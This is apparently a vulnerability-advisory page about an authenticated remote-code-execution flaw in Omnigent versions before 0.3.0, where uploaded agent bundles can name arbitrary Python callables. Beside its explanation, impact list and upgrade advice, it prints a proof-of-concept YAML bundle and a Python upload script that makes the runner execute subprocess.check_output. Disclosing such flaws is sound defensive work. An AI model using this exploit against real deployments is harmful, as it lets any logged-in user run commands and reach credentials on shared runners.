Listen to this Post
Omnigent is an open-source AI agent framework and meta-harness for orchestrating coding agents. Prior to version 0.3.0, the multipart POST `/v1/sessions` endpoint accepts an authenticated user’s agent bundle. The server validates the uploaded bundle via `validate_agent_bundle` in omnigent/server/bundles.py, but it does not block dangerous `callable:` paths in untrusted user-provided agent configs.
Python callable tools are an intended trusted/operator feature, but the upload path accepts them from tenant-provided bundles too. When the tool is invoked, `omnigent/runner/tool_dispatch.py` executes _resolve_spec_callable, which imports the specified module via `importlib.import_module(module_name)` and retrieves the attribute via getattr(mod, attr_name, None). Then `_execute_spec_callable_tool` calls the resolved function. A crafted bundle can point the tool at subprocess.check_output, allowing the attacker to run a local command on the runner machine.
The validator already treats uploaded bundles as untrusted in some ways—for example, it disables server-side environment expansion and can enforce a policy-handler allowlist via `expand_env=False` and enforce_handler_allowlist=enforce_handler_allowlist. However, the same validation does not reject `tools.
The problem is the trust boundary. Python callables are a trusted local developer feature, but uploaded agent bundles can be user-controlled in a hosted/multi-user server. This is serious because hosted Omnigent deployments can have multiple users and shared or managed runner hosts. A normal logged-in user should not be able to make the runner execute arbitrary local commands. This is authenticated RCE against the Omnigent runner environment—a normal authenticated user who can upload or create a custom agent bundle can declare a server-side Python callable and have the runner import and execute it.
Because the callable runs inside the runner process, the attacker-controlled code runs with the runner’s permissions. In a hosted or multi-user deployment, this can expose runner-accessible files, environment variables, credentials, workspace data, internal services reachable from the runner, and runner availability. This is high impact because it crosses the boundary from “upload an agent config” to “execute local code on shared runner infrastructure” without requiring admin/operator access.
DailyCVE Form
Platform: Omnigent
Version: <0.3.0
Vulnerability: Authenticated RCE
Severity: Critical (CVSS 8.8)
Date: 2026-08-21
Prediction: 2026-09-15
What Undercode Say
Check Omnigent version pip show omnigent Check if vulnerable endpoint is exposed curl -X POST https://target.com/v1/sessions -H "Authorization: Bearer $TOKEN"
Exploit (Educational Purposes!)
Crafted agent bundle YAML defining a malicious Python callable tool:
tools: malicious_tool: callable: subprocess.check_output args: cmd: ["id"]
Python snippet to craft and upload the bundle:
import requests
bundle_yaml = """
tools:
malicious_tool:
callable: subprocess.check_output
args:
cmd: ["id"]
"""
files = {'bundle': ('agent.yaml', bundle_yaml)}
response = requests.post(
'https://target.com/v1/sessions',
headers={'Authorization': f'Bearer {token}'},
files=files
)
When the tool is invoked, the runner imports and executes `subprocess.check_output([“id”])` with runner process permissions.
Protection
- Upgrade to Omnigent version 0.3.0 or later
- Reject server-side Python callable tools in HTTP-uploaded bundles on shared/multi-user servers unless explicitly allowlisted by the operator
- Apply the conservative fix: reject `callable:` tool paths for tenant-uploaded bundles while keeping trusted local/operator-authored configs working
- Review the fix implemented in Pull Request 1430: `fix(server): reject server-side callable tools in uploaded agent bundles`
Impact
- Authenticated RCE against the Omnigent runner environment
- Attacker-controlled code runs with runner process permissions
- Exposure of runner-accessible files, environment variables, credentials, workspace data, internal services, and runner availability
- No admin/operator access required—any authenticated user can exploit
- Crosses boundary from “upload agent config” to “execute local code on shared runner infrastructure”
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
